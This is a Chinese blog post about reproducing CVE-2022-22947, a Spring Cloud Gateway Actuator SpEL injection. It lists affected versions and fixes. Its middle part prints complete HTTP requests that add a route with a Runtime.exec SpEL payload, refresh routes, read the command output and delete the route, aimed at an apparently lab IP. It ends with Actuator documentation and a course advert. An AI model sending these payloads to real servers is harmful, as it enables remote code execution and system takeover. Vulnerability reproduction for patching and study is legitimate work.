Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。
3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为 CVE-2022-22947:
CVE-2022-22947 | Security | VMware Tanzu
使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。
影响范围
漏洞利用的前置条件:
除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);
Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
# 默认为truemanagement.endpoint.gateway.enabled=true
漏洞影响的 Spring Cloud Gateway 版本范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的 Spring Cloud Gateway 版本
更新升级 Spring Cloud Gateway 到以下安全版本:
Spring Cloud Gateway 3.1.1
Spring Cloud Gateway 3.0.7
或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。
洞鉴自定义PoC可支持检测,可咨询长亭科技技术支持人员获取解决方案。
CVE-2022-22947:Spring Cloud Gateway 远程代码执行漏洞复现及修复建议_爱吃橙子的羊的博客-CSDN博客
【Vulfocus】CVE-2022-22947Spring Cloud Gateway远程代码执行漏洞复现 - 简书
CVE-2022-22947 远程代码执行漏洞复现分析 - 安全客,安全资讯平台
Spring Cloud Gateway CVE-2022-22947 漏洞分析|NOSEC安全讯息平台 - 白帽汇安全研究院
抓包
GET / HTTP/1.1
Host: 123.58.236.76:64026
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default; PHPSESSID=evrult8mhlb3o6bq7an22fk1kr; _ga=GA1.1.940927922.1654650099; _gid=GA1.1.1263998480.1654650099
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: “3147526947”
Cache-Control: max-age=0
修改为
构造包含恶意请求的路由,利用burpsuite进行发送
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 123.58.236.76:64026
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 449
{
“id”: “hacktest”,
“filters”: [{
“name”: “AddResponseHeader”,
“args”: {
“name”: “Result”,
“value”: “#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{“id”}).getInputStream()))}”
}
}],
“uri”: “http://example.com”
}
返回包
HTTP/1.1 201 Created
Location: /routes/hacktest
content-length: 0
connection: close
然后应用刚添加的路由发送如下数据包,此数据包会触发表达式执行
POST /actuator/gateway/refresh HTTP/1.1
发送如下数据包可查看结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
最后发送如下数据包进行清理,删除所添加的路由
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
再次刷新路由
POST /actuator/gateway/refresh HTTP/1.1
访问actuator API接口
GET /actuator HTTP/1.1
Host: 123.58.236.76:64026
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 454
{
“id”: “hacktest”,
“filters”: [{
“name”: “AddResponseHeader”,
“args”: {
“name”: “Result”,
“value”: “#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{“ls /tmp”}).getInputStream()))}”
}
}],
“uri”: “http://example.com”
}
注意
GET /actuator HTTP/1.1
{“ls /tmp”}
访问env接口
GET /actuator/env HTTP/1.1
Host: 123.58.236.76:64026
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 454
{
“id”: “hacktest”,
“filters”: [{
“name”: “AddResponseHeader”,
“args”: {
“name”: “Result”,
“value”: “#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{“ls /tmp”}).getInputStream()))}”
}
}],
“uri”: “http://example.com”
}
确认Spring Cloud Gateway 是否打开actuator gateway
若打开,在/actuator/gateway/routes/pentest添加恶意路由
刷新路由,使恶意路由呈现
触发恶意路由,完成命令执行
如示例所示,在完成添加恶意路由后进行删除恶意路由
首先,可以不进行删除,以上四条为完整思路,测试过并无问题
个人认为,删除是为了清除入侵痕迹,但不明白删除后并刷新,为什么还能继续使用恶意路由,这点还有待思索,期望大佬能解答
参考:Spring Cloud Gateway使用说明(7)-- actuator_xiegwei的博客-CSDN博客_actuator gateway
Spring Cloud Gateway添加了一个全新的、更加详细的格式接口。它添加关于每个路由更多的详细信息,让你可以查看详细的断言、过滤器和其它配置。
下面例子配置/actuator/gateway/routes:
[
{
“predicate”: “(Hosts: [**.addrequestheader.org] && Paths: [/headers], match trailing slash: true)”,
“route_id”: “add_request_header_test”,
“filters”: [
“[[AddResponseHeader X-Response-Default-Foo = ‘Default-Bar’], order = 1]”,
“[[AddRequestHeader X-Request-Foo = ‘Bar’], order = 1]”,
“[[PrefixPath prefix = ‘/httpbin’], order = 2]”
],
“uri”: “lb://testservice”,
“order”: 0
}
]
同时,这个特性默认是开启的
如果要关闭,如下: Example 73. application.properties
spring.cloud.gateway.actuator.verbose.enabled=false
创建和删除路由
要创建一个路由,发送POST请求 /gateway/routes/{id_route_to_create},参数为JSON结构,具体参数数据结构参考上面章节。
要删除一个路由,发送 DELETE请求 /gateway/routes/{id_route_to_delete}
刷新路由缓存
如果要清理路由的缓存,请POST请求/actuator/gateway/refresh。该请求将返回一个没有body的200返回码。
查找特定路由
要获取单个路由的信息,发送GET请求 /actuator/gateway/routes/{id} (如: /actuator/gateway/routes/first_route),返回结果如下所示:
{
“id”: “first_route”,
“predicates”: [{
“name”: “Path”,
“args”: {“_genkey_0”:“/first”}
}],
“filters”: [],
“uri”: “https://www.uri-destination.org”,
“order”: 0
}]
Path
Type
Description
id
String
路由id
predicates
Array
断言,包括名字和参数
filters
Array
路由过滤器
uri
String
目标URI
order
Number
顺序,值越低,优先级越高。
参考漏洞影响范围进行排查,官方已针对此漏洞发布修复补丁,请受影响的用户尽快修复。
官方链接:GH-835 Fix RoutingFunction SpEL evaluation · spring-cloud/spring-cloud-function@0e89ee2 · GitHub
先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。深知大多数初中级java工程师,想要升技能,往往是需要自己摸索成长或是报班学习,但对于培训机构动则近万元的学费,着实压力不小。自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。添加下方名片,即可获取全套学习资料哦